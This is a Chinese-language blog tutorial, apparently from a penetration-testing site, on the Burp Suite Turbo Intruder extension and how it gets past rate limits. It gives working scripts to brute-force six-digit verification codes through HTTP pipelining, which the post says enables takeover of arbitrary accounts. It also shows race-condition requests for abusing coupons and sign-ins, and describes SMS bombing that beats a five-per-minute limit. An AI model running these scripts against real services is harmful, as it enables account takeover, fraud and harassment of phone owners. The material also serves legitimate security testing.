burpsuit插件Turbo Intruder:突破速率限制详解

一、插件介绍

Turbo Intruder 是一个 Burp Suite 扩展插件,用于发送大量 HTTP 请求并分析结果,可拥抱十亿请求攻击。它旨在处理那些需要异常速度、持续时间或复杂性的攻击来补充Burp Intruder。

二、插件原理

使用第一次请求的时候就建立好连接,后续获取资源都是通过这条连接来获取资源的长连接,它还使用了HTTP 管道(HTTP Pipelining )的方式来发送 请求,这种方式会在等待上一个请求响应的同时,发送下一个请求。而在发送过程中不需要等待服务器对前一个请求的响应;只不过,客户端还是要按照发送请求的顺序来接收响应。通过 HTTP 管道的方式发起请求是短连接(Connection: close )速度的 6000%

三、安装方式

Burp Suite的BApp Store安装Turbo intuder插件


四、使用方式

选中数据包右键选择Send to turbo intruder(这里一定要抓取数据包,没有抓取是不会显示send to  tubo intruder菜单)

此时会打开一个新的窗口,该窗口上半部分区域为原始的HTTP请求包,下半部分为操作代码,中间部分可以根据场景从下拉框中选择具体操作代码。每次打开时此处默认为Last code used,即为上次使用的代码。

其中代码区需要使用“%s”字符来代替需要进行Fuzz的部分。选择对应的操作代码点击最下方Attack即可开始攻击。具体使用细节,可结合第三部分使用场景。


五、使用场景

1.验证码爆破

主要出现在手机验证或者邮箱验证码登录以及密码找回等功能处,验证码爆破需要结合用户名枚举可以实现接管任意用户。

 验证码爆破操作代码:

from itertools import product


def brute_veify_code(target, engine, length):

   pattern = '1234567890'    #用于生成字典的迭代对像

   for i in list(product(pattern, repeat=length)):    #product()接收多个迭代对像,然后生成一个笛卡尔积,repeat参数代表重复迭代对象次数。

        code =  ''.join(i)

        engine.queue(target.req, code)


def queueRequests(target, wordlists):

   engine = RequestEngine(endpoint=target.endpoint,        #指定目标的地址

           concurrentConnections=30,    #与服务器建立30条连接

           requestsPerConnection=100,    #每条连接同时发送100个请求

           pipeline=True    #开启管道(HTTP Pipelining)模式

           )

   brute_veify_code(target, engine, 6)  #根据验证码位数修改


def handleResponse(req, interesting):


 if 'error' not in req.response:    #对response进行操作,不含有“error”的添加入表中

      table.add(req)

演示:

 假设百度wd参数为数字6位验证码。将参数值以“%s”代替,然后将上方代码复制到操作代码区域

点击Attack开始攻击,可以看到"%s"被替换为生成的字典内容。31秒成功请求29431次,RPS为949


2.并发测试

并发漏洞属于业务逻辑漏洞,存在于对次数进行限制的功能点,如签到,抽奖,优惠券领取等功能点。使用并发技术进行测试,观察服务器是否可以多次成功响应。

并发测试的操作代码:

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,

                           concurrentConnections=30,

                           requestsPerConnection=100,

                           pipeline=False

                           )


    for i in range(30):        #创建30个请求,需要和concurrentConnections对应,每条连接发送一个请求

        engine.queue(target.req, target.baseInput, gate='race1')    #“gate”参数会阻塞每个请求的最后一个字节,直到调用openGate

#等待,直到每个“race1”标记的请求就绪,然后发送每个请求的最后一个字节

    engine.openGate('race1')    #标识属于同一个并发测试的请求

    engine.complete(timeout=60)


def handleResponse(req, interesting):

    table.add(req)

 演示:

此代码在插件中可选/examples/race.py

由于并发测试不需要对原始请求包进行处理,所以很可能会遇到下面这种问题
由于工具执行流程,在原始请求包里必须有"%s"字段,因此需要在请求包中任意位置添加“%s”即可。

3.短信轰炸

在某个网站上发现了用户注册页面中有一个获取验证码
image.png
抓一下发送验证码的数据包
我们看到手机号在POST参数中,把这个数据包发到Turbo Intruder
记得在请求头加一个X: %s(turbo中的%s类似于burp intruder里面的§s§,虽然我们没有迭代的变量,但是turbo启动时会检查%s)

此代码在插件中可选/examples/race.py

并发发送数据包,可以看到发送结果大部分的长度都为328328就是发送成功
通过该插件可以绕过一分钟只发送5次短信的限制,并发在短时间内1秒发送10次验证码。


posted @ 2024-03-22 09:17  渗透测试中心  阅读(656)  评论(0编辑  收藏  举报